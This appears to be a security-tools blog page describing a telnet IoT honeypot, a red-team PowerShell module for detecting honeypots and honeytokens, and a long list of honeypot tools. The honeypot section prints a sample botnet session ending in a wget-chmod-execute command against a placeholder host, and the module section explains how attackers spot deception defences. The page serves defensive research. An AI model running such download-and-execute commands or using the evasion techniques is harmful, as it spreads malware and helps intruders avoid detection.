Python Telnet Honeypot For Catching Botnet Binaries - Telnet IoT Honeypot

This project implements a python telnet server trying to act as a honeypot for IoT Malware which spreads over horribly insecure default passwords on telnet servers on the internet.

Other than https://github.com/stamparm/hontel or https://github.com/micheloosterhof/cowrie (examples), which provides full (via chroot) or simulated behaviour of a linux system this honeypots goal is just to collect statistics of (IoT) botnets. This means that the honeypot must be made to work with every form of automated telnet session, which may try to infect the honeypot with malware. Luckily, these malwares infection processes are quite simple, just using wget do download something and running it.

Architekure

The application has a client/server architekture, with a client (the actual honeypot) accepting telnet connections and a server aggregating connection data and sample analysis.

However, for local deployments, the application can also be run in local mode to eliminate the need to run a client and server locally.

Running

The application has a config file named config.py. Samples are included for local and client/server deployments.

Client/Local Mode

python honey.py

Server

python backend.py

Opening the frontend
After the server is started, open html/index.html in your favorite browser. For this to work, the url in html/apiurl.js should point to your running backend, which it should do automatically for local deployments.

Sample Connection

enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit 

Images

Download Telnet IoT Honeypot

Read More

Microsoft PowerShell Module to Find HoneyPots and HoneyTokens in the Network - HoneypotBuster

Microsoft PowerShell module designed for red teams that can be used to find honeypots and honeytokens in the network or at the host.

CodeExecution
Execute code on a target machine using Import-Module.

Invoke-HoneypotBuster
HoneypotBuster is a tool designed to spot Honey Tokens, Honey Bread Crumbs, and Honey Pots used by common Distributed Deception vendors. This tool will help spot the following deception techniques:

1. Kerberoasting Service Accounts Honey Tokens

Just like the one described in the ADSecurity article by Sean Metcalf, this tricks attackers to scan for Domain Users with assigned SPN (Service Principal Name) and {adminCount = 1} LDAP Attribute flag. So when you try to request TGS for that user, you’ll be exposed as Kerberoasting attempt. TGS definition: A ticket granting server (TGS) is a logical key distribution center (KDC) component that is used by the Kerberos protocol as a trusted third party.

2. Fake Computer Accounts Honey Pots

Creating many domain computer objects with no actual devices associated to them will result in confusion to any attacker trying to study the network. Any attempt to perform lateral movement into these fake objects will lead to exposure of the attacker.

3. Fake Credentials Manager Credentials Breadcrumbs

Many deception vendors are injecting fake credentials into the “Credentials Manager”. These credentials will also be revealed using tools such as Mimikatz. Although they aren’t real, attackers might confuse them as authentic credentials and use them.

4. Fake Domain Admins Accounts Honey Tokens

Creating several domain admins and their credentials who have never been active is bad policy. These Honey Tokens lure attackers to try brute-forcing domain admin credentials. Once someone tries to authenticate to this user, an alarm will be triggered, and the attacker will be revealed. Microsoft ATA uses this method.

5. Fake Mapped Drives Breadcrumbs

Many malicious automated scripts and worms are spreading via SMB Shares, especially if they’re mapped as Network Drive Share. This tool will try to correlate some of the data collected before to identify any mapped drive related to a specific Honey Pot server.

6. DNS Records Manipulation HoneyPots

One of the methods deception vendors use to detect fake endpoints is registering their DNS records towards the Honey Pot Server. They will then be able to point the attacker directly to their honey pot instead of actual endpoints.


Usage

To install any of these modules, drop the PowerShell scripts into a directory and type

Import-Module PathTo\scriptName.ps1

Then run the Module from the Powershell.
Refer to the comment-based help in each individual script for detailed usage information.

Download HoneypotBuster

Read More

Collection Of Awesome Honeypots

A curated list of awesome honeypots, tools, components and much more. The list is divided into categories such as web, services, and others, focusing on open source projects.

Honeypots

• Database Honeypots
  
  • Elastic honey - A Simple Elasticsearch Honeypot
  • mysql - A mysql honeypot, still very very early stage
  • A framework for nosql databases ( only redis for now) - The NoSQL Honeypot Framework
  • ESPot - ElasticSearch Honeypot
• Web honeypots
  
  • Glastopf - Web Application Honeypot
  • phpmyadmin_honeypot - - A simple and effective phpMyAdmin honeypot
  • servlet - Web application Honeypot
  • Nodepot - A nodejs web application honeypot
  • basic-auth-pot bap - http Basic Authentication honeyPot
  • Shadow Daemon - A modular Web Application Firewall / High-Interaction Honeypot for PHP, Perl & Python apps
  • Servletpot - Web application Honeypot
  • Google Hack Honeypot - designed to provide reconnaissance against attackers that use search engines as a hacking tool against your resources.
  • smart-honeypot - PHP Script demonstrating a smart honey pot
  • HonnyPotter - A WordPress login honeypot for collection and analysis of failed login attempts.
  • wp-smart-honeypot - WordPress plugin to reduce comment spam with a smarter honeypot
  • wordpot - A WordPress Honeypot
  • Bukkit Honeypot Honeypot - A honeypot plugin for Bukkit
  • Laravel Application Honeypot - Honeypot - Simple spam prevention package for Laravel applications
  • stack-honeypot - Inserts a trap for spam bots into responses
  • EoHoneypotBundle - Honeypot type for Symfony2 forms
  • shockpot - WebApp Honeypot for detecting Shell Shock exploit attempts
• Service Honeypots
  
  • Kippo - Medium interaction SSH honeypot
  • honeyntp - NTP logger/honeypot
  • honeypot-camera - observation camera honeypot
  • troje - a honeypot built around lxc containers. It will run each connection with the service within a seperate lxc container.
  • slipm-honeypot - A simple low-interaction port monitoring honeypot
  • HoneyPy - A low interaction honeypot
  • Ensnare - Easy to deploy Ruby honeypot
  • RDPy - A Microsoft Remote Desktop Protocol (RDP) honeypot in python
• Anti-honeypot stuff
  
  • kippo_detect - This is not a honeypot, but it detects kippo. (This guy has lots of more interesting stuff)
• ICS/SCADA honeypots
  
  • Conpot - ICS/SCADA honeypot
  • scada-honeynet - mimics many of the services from a popular PLC and better helps SCADA researchers understand potential risks of exposed control system devices
  • SCADA honeynet - Building Honeypots for Industrial Networks
• Deployment
  
  • Dionaea and EC2 in 20 Minutes - a tutorial on setting up Dionaea on an EC2 instance
  • honeypotpi - Script for turning a Raspberry Pi into a Honey Pot Pi
• Data Analysis
  
  • Kippo-Graph - a full featured script to visualize statistics from a Kippo SSH honeypot
  • Kippo stats - Mojolicious app to display statistics for your kippo SSH honeypot
• Other/random
  
  • NOVA uses honeypots as detectors, looks like a complete system.
  • Open Canary - A low interaction honeypot intended to be run on internal networks.
  • libemu - Shellcode emulation library, useful for shellcode detection.
• Open Relay Spam Honeypot
  
  • SpamHAT - Spam Honeypot Tool
• Botnet C2 monitor
  
  • Hale - Botnet command & control monitor
• IPv6 attack detection tool
  
  • ipv6-attack-detector - Google Summer of Code 2012 project, supported by The Honeynet Project organization
• Research Paper
  
  • vEYE - behavioral footprinting for self-propagating worm detection and profiling
• Honeynet statistics
  
  • HoneyStats - A statistical view of the recorded activity on a Honeynet
• Dynamic code instrumentation toolkit
  
  • Frida - Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android
• Front-end for dionaea
  
  • DionaeaFR - Front Web to Dionaea low-interaction honeypot
• Tool to convert website to server honeypots
  
  • HIHAT - ransform arbitrary PHP applications into web-based high-interaction Honeypots
• Malware collector
  
  • Kippo-Malware - Python script that will download all malicious files stored as URLs in a Kippo SSH honeypot database
• Sebek in QEMU
  
  • Qebek - QEMU based Sebek. As Sebek, it is data capture tool for high interaction honeypot
• Malware Simulator
  
  • imalse - Integrated MALware Simulator and Emulator
• Distributed sensor deployment
  
  • Smarthoneypot - custom honeypot intelligence system that is simple to deploy and easy to manage
  • Modern Honey Network - Multi-snort and honeypot sensor management, uses a network of VMs, small footprint SNORT installations, stealthy dionaeas, and a centralized server for management
  • ADHD - Active Defense Harbinger Distribution (ADHD) is a Linux distro based on Ubuntu LTS. It comes with many tools aimed at active defense preinstalled and configured
• Network Analysis Tool
  
  • Tracexploit - replay network packets
• Log anonymizer
  
  • LogAnon - log anonymization library that helps having anonymous logs consistent between logs and network captures
• server
  
  • Honeysink - open source network sinkhole that provides a mechanism for detection and prevention of malicious traffic on a given network
• Botnet traffic detection
  
  • dnsMole - analyse dns traffic, and to potentionaly detect botnet C&C server and infected hosts
• Low interaction honeypot (router back door)
  
  • Honeypot-32764 - Honeypot for router backdoor (TCP 32764)
• honeynet farm traffic redirector
  
  • Honeymole - eploy multiple sensors that redirect traffic to a centralized collection of honeypots
• HTTPS Proxy
  
  • mitmproxy - allows traffic flows to be intercepted, inspected, modified and replayed
• spamtrap
  
  • SendMeSpamIDS.py Simple SMTP fetch all IDS and analyzer
• System instrumentation
  
  • Sysdig - open source, system-level exploration: capture system state and activity from a running Linux instance, then save, filter and analyze
• Honeypot for USB-spreading malware
  
  • Ghost-usb - honeypot for malware that propagates via USB storage devices
• Data Collection
  
  • Kippo2MySQL - extracts some very basic stats from Kippo’s text-based log files (a mess to analyze!) and inserts them in a MySQL database
  • Kippo2ElasticSearch - Python script to transfer data from a Kippo SSH honeypot MySQL database to an ElasticSearch instance (server or cluster)
• Passive network audit framework parser
  
  • pnaf - Passive Network Audit Framework
• VM Introspection
  
  • VIX virtual machine introspection toolkit - VMI toolkit for Xen, called Virtual Introspection for Xen (VIX)
  • vmscope - Monitoring of VM-based High-Interaction Honeypots
  • vmitools - C library with Python bindings that makes it easy to monitor the low-level details of a running virtual machine
• Binary debugger
  
  • Hexgolems - Schem Debugger Frontend - A debugger frontend
  • Hexgolems - Pint Debugger Backend - A debugger backend and LUA wrapper for PIN
• Mobile Analysis Tool
  
  • APKinspector - APKinspector is a powerful GUI tool for analysts to analyze the Android applications
  • Androguard - Reverse engineering, Malware and goodware analysis of Android applications ... and more
• Low interaction honeypot
  
  • Honeypoint - platform of distributed honeypot technologies
  • Honeyperl - Honeypot software based in Perl with plugins developed for many functions like : wingates, telnet, squid, smtp, etc
• Honeynet data fusion
  
  • HFlow2 - data coalesing tool for honeynet/network analysis
• Server
  
  • LaBrea - takes over unused IP addresses, and creates virtual servers that are attractive to worms, hackers, and other denizens of the Internet.
  • Kippo - SSH honeypot
  • KFSensor - Windows based honeypot Intrusion Detection System (IDS)
  • Honeyd Also see more honeyd tools
  • Glastopf - Honeypot which emulates thousands of vulnerabilities to gather data from attacks targeting web applications
  • DNS Honeypot - Simple UDP honeypot scripts
  • Conpot - ow interactive server side Industrial Control Systems honeypot
  • Bifrozt - High interaction honeypot solution for Linux based systems
  • Beeswarm - Honeypot deployment made easy
  • Bait and Switch - redirects all hostile traffic to a honeypot that is partially mirroring your production system
  • Artillery - open-source blue team tool designed to protect Linux and Windows operating systems through multiple methods
  • Amun - vulnerability emulation honeypot
• VM cloaking script
  
  • Antivmdetect - Script to create templates to use with VirtualBox to make vm detection harder
• IDS signature generation
  
  • Honeycomb
• lookup service for AS-numbers and prefixes
  
  • CC2ASN
• Web interface (for Thug)
  
  • Rumal - Thug's Rumāl: a Thug's dress & weapon
• Data Collection / Data Sharing
  
  • HPfriends - data-sharing platform
  • HPFeeds - lightweight authenticated publish-subscribe protocol
• Distributed spam tracking
  
  • Project Honeypot
• Python bindings for libemu
  
  • Pylibemu - A Libemu Cython wrapper
• Controlled-relay spam honeypot
  
  • Shiva - Spam Honeypot with Intelligent Virtual Analyzer
    • Shiva The Spam Honeypot Tips And Tricks For Getting It Up And Running
• Visualization Tool
  
  • Glastopf Analytics
  • Afterglow Cloud
  • Afterglow
• central management tool
  
  • PHARM
• Network connection analyzer
  
  • Impost
• Virtual Machine Cloaking
  
  • VMCloak
• Honeypot deployment
  
  • Modern Honeynet Network
  • SurfIDS
• Automated malware analysis system
  
  • Cuckoo
  • Anubis
  • Hybrid Analysis
• Low interaction
  
  • mwcollectd
• Low interaction honeypot on USB stick
  
  • Honeystick
• Honeypot extensions to Wireshark
  
  • Whireshark Extensions
• Data Analysis Tool
  
  • HpfeedsHoneyGraph
  • Acapulco
• Telephony honeypot
  
  • Zapping Rachel
• Client
  
  • Pwnypot
  • MonkeySpider
  • Capture-HPC-NG
  • Wepawet
  • URLQuery
  • Trigona
  • Thug
  • Shelia
  • PhoneyC
  • Jsunpack-n
  • HoneyC
  • HoneyBOT
  • CWSandbox / GFI Sandbox
  • Capture-HPC-Linux
  • Capture-HPC
  • Andrubis
• Visual analysis for network traffic
  
  • ovizart
• Binary Management and Analysis Framework
  
  • Viper
• Honeypot
  
  • Single-honeypot
  • Honeyd For Windows
  • IMHoneypot
  • Deception Toolkit
• PDF document inspector
  
  • peepdf
• Distribution system
  
  • Thug Distributed Task Queuing
• HoneyClient Management
  
  • HoneyWeb
• Network Analysis
  
  • HoneyProxy
• Hybrid low/high interaction honeypot
  
  • HoneyBrid
• Sebek on Xen
  
  • xebek
• SSH Honeypot
  
  • Kojoney
  • Cowrie
• Glastopf data analysis
  
  • Glastopf Analytics
• Distributed sensor project
  
  • DShield Web Honeypot Project
  • Distributed Web Honeypot Project
• a pcap analyzer
  
  • Honeysnap
• Client Web crawler
  
  • HoneySpider Network
• network traffic redirector
  
  • Honeywall
• Honeypot Distribution with mixed content
  
  • HoneyDrive
• Honeypot sensor
  
  • Dragon Research Group Distro
  • Honeeepi - Honeeepi is a honeypot sensor on Raspberry Pi which based on customized Raspbian OS.
• File carving
  
  • TestDisk & PhotoRec
• File and Network Threat Intelligence
  
  • VirusTotal
• data capture
  
  • Sebek
• SSH proxy
  
  • HonSSH
• Anti-Cheat
  
  • Minecraft honeypot
• behavioral analysis tool for win32
  
  • Capture BAT
• Live CD
  
  • DAVIX
• Spamtrap
  
  • Spampot.py
  • Spamhole
  • spamd
  • Mail::SMTP::Honeypot - perl module that appears to provide the functionality of a standard SMTP server
• Commercial honeynet
  
  • Specter
  • Netbait
• Server (Bluetooth)
  
  • Bluepot
• Dynamic analysis of Android apps
  
  • Droidbox
• Dockerized Low Interaction packaging
  
  • Manuka
  • Dockerized Thug
  • Dockerpot A docker based honeypot.
  • Docker honeynet Several Honeynet tools set up for Docker containers
• Network analysis
  
  • Quechua
• Sebek data visualization
  
  • Sebek Dataviz
• SIP Server
  
  • Artemnesia VoIP
• Botnet C2 monitoring
  
  • botsnoopd
• low interaction
  
  • mysqlpot
• Malware collection
  
  • Honeybow

Honeyd Tools

• Honeyd plugin
  
  • Honeycomb
• Honeyd viewer
  
  • Honeyview
• Honeyd to MySQL connector
  
  • Honeyd2MySQL
• A script to visualize statistics from honeyd
  
  • Honeyd-Viz
• Honeyd UI
  
  • Honeyd configuration GUI - application used to configure the honeyd daemon and generate configuration files
• Honeyd stats
  
  • Honeydsum.pl

Network and Artifact Analysis

• Sandbox
  
  • RFISandbox - a PHP 5.x script sandbox built on top of funcall
  • dorothy2 - A malware/botnet analysis framework written in Ruby
  • COMODO automated sandbox
  • Argos - An emulator for capturing zero-day attacks
• Sandbox-as-a-Service
  
  • malwr.com - free malware analysis service and community
  • detux.org - Multiplatform Linux Sandbox
  • Joebox Cloud - analyzes the behavior of malicious files including PEs, PDFs, DOCs, PPTs, XLSs, APKs, URLs and MachOs on Windows, Android and Mac OS X for suspicious activities

Data Tools

• Front Ends
  
  • Tango - Honeypot Intelligence with Splunk
  • Django-kippo - Django App for kippo SSH Honeypot
  • Wordpot-Frontend - a full featured script to visualize statistics from a Wordpot honeypot -Shockpot-Frontend - a full featured script to visualize statistics from a Shockpot honeypot
• Visualization
  
• HoneyMap - Real-time websocket stream of GPS events on a fancy SVG world map
• HoneyMalt - Maltego tranforms for mapping Honeypot systems

Source

Read More